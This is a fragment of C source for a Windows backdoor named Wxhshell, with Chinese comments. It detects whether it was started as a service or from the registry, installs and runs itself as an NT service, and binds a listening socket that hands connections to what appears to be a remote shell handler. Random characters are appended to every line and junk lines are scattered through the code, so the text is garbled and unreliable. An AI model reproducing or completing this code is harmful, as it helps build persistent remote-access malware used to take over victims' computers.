DWORD AffinityMask; m,28u3@r
DWORD BasePriority; cU (D{~
ULONG UniqueProcessId; Y|m+dT6
ULONG InheritedFromUniqueProcessId; j3oV+zZ49
} PROCESS_BASIC_INFORMATION; \&:nFb%=
5<k"K^0QS
PROCNTQSIP NtQueryInformationProcess; ~\SGb_2
OnziG+ak
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $p8xEcQdU#
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; T~?Ff|qFC
X #dmo/L8
HANDLE hProcess; :k]1Lm||
PROCESS_BASIC_INFORMATION pbi; h^45,E C
@s>Czm5
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); N];NAMp
if(NULL == hInst ) return 0; FZQP%]FX
r r %V.r;2
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); G>_*djUf
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]#<4vl\
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]EbM9Fo-U
^0)g/`H^>
if (!NtQueryInformationProcess) return 0; G't$Qx,IC
EP&,MYI%E
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); o|^3J{3G
if(!hProcess) return 0; S7 2+d%$
YaqR[F
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; k}CVQ@nd
v"$L702d$\
CloseHandle(hProcess); Q} JOU
2W(s(-hD
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); I|!OY`ko
if(hProcess==NULL) return 0; 8%mu8l
c]-<vkpV
HMODULE hMod; Gu,wF(x7A
char procName[255]; o[4}h:> dq
unsigned long cbNeeded; l4YbK np]
c]<5zyl"j1
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0o4XUW
]m q|w
CloseHandle(hProcess); m~ABC#,2
wm@@$
if(strstr(procName,"services")) return 1; // 以服务启动 .LZ?S"z$w
h*a(_11
return 0; // 注册表启动 ",t?8465y
}
**0~K" ;\
sdrfsrNvB-
// 主模块 ]cvwIc">
int StartWxhshell(LPSTR lpCmdLine) 0auYG><=
{ FUzzB94a
SOCKET wsl; By,eETU]
BOOL val=TRUE; b_krk\e@S
int port=0; aKDKmHd
struct sockaddr_in door; ;1=1:S8
<=&`ZH
if(wscfg.ws_autoins) Install(); gg/-k;@ Rf
iVr J Q
port=atoi(lpCmdLine); ^CH=O|8j
4@gG<QJW
if(port<=0) port=wscfg.ws_port; U>SShpmZA
T Z@]:e:"b
WSADATA data; z6P$pqyF
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; y<3-?}.aZ
#z%fx
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; est9M*Fn
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Kw^ 7>\
door.sin_family = AF_INET; aO[w/cGQ
door.sin_addr.s_addr = inet_addr("127.0.0.1"); On?v|10r'
door.sin_port = htons(port);
l&zilVVm
>|=ts
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { H41?/U,{
closesocket(wsl); 6_;icpN]
return 1; MchA{p&Ol
} {Mk6T1Bkq
`(;m?<%
if(listen(wsl,2) == INVALID_SOCKET) { /}Axf"OE
closesocket(wsl); |-ALklXr
return 1; Rv>-4@fMJ
} Q{>k1$fkV
Wxhshell(wsl); T763:v
WSACleanup(); ?j.,Nw4FC
R\f+SvE
return 0; 3,w_".m`#
H8jpxzXv
} 1GRCV8"Z^
>R_&Ouh:
// 以NT服务方式启动 G_JA-@i%
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 372rbY
{ u#~RkY7s
DWORD status = 0; ; 2#y7!
DWORD specificError = 0xfffffff; Tidn-2L73O
t?gic9
q
serviceStatus.dwServiceType = SERVICE_WIN32; T!{w~'=F
serviceStatus.dwCurrentState = SERVICE_START_PENDING; .{^5X)
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ^\% (,KNo
serviceStatus.dwWin32ExitCode = 0; 8,%^
M9zBP
serviceStatus.dwServiceSpecificExitCode = 0; 2,F.$X
serviceStatus.dwCheckPoint = 0; ;(%QD
3 >
serviceStatus.dwWaitHint = 0; Ax@$+/Z!
~~P5k:
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); kTB0b*V
if (hServiceStatusHandle==0) return; C )
s5D
0+ '&`Q!u
status = GetLastError(); 5tkAFb4P
if (status!=NO_ERROR) q2j{tP#
{ >=>2m2z=
serviceStatus.dwCurrentState = SERVICE_STOPPED; Or+U@vAnk
serviceStatus.dwCheckPoint = 0; _[3D
serviceStatus.dwWaitHint = 0; +sA2WK]
serviceStatus.dwWin32ExitCode = status; |df Pki{
serviceStatus.dwServiceSpecificExitCode = specificError; 5qm`J,~k
SetServiceStatus(hServiceStatusHandle, &serviceStatus); :Yl-w-oe
return; b%`1cV
} ;'K5J9k
w&#]-|$
serviceStatus.dwCurrentState = SERVICE_RUNNING; &z3o7rif$
serviceStatus.dwCheckPoint = 0; 0d&6lqTo
serviceStatus.dwWaitHint = 0; NI]N4[8(
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); SfyQ$$Z
} CRE3icXbQ
'H!Uh]!
// 处理NT服务事件,比如:启动、停止 BU_nh+dF
VOID WINAPI NTServiceHandler(DWORD fdwControl) AT3Mlz~7#
{ tNI^@xdim1
switch(fdwControl) 8nJpp
{ dn3y\
case SERVICE_CONTROL_STOP: m(!FHPvN
serviceStatus.dwWin32ExitCode = 0; Fxz"DZY6
serviceStatus.dwCurrentState = SERVICE_STOPPED; fr3d
serviceStatus.dwCheckPoint = 0; y%T_pTcU
serviceStatus.dwWaitHint = 0; kevrsV]/$
{ /3T1U
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Gd=RyoJl
} KpGhQdR#
return; niyV8v
case SERVICE_CONTROL_PAUSE: tWRC$
serviceStatus.dwCurrentState = SERVICE_PAUSED; >GRxHK@G
break; RrB&\9=
case SERVICE_CONTROL_CONTINUE: b$joY*< 6
serviceStatus.dwCurrentState = SERVICE_RUNNING; >bW#Zs,6
break; `^&OF uee
case SERVICE_CONTROL_INTERROGATE: eauF~md,
break; 0h_|t-9j
}; Y3b *a".X
SetServiceStatus(hServiceStatusHandle, &serviceStatus); +0Y&`{#Z
} =H8;iS2R
6&x@.1('z
// 标准应用程序主函数 /4Gt{ygSr
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) jLluj
{ R/YqyT\SM
5]0<9a
// 获取操作系统版本 &8lZNv8;(p
OsIsNt=GetOsVer(); e"<OELA
GetModuleFileName(NULL,ExeFile,MAX_PATH); L0o\J` :
GTd,n=
// 从命令行安装 .k !{*
if(strpbrk(lpCmdLine,"iI")) Install(); {wKB;?fUvk
{ <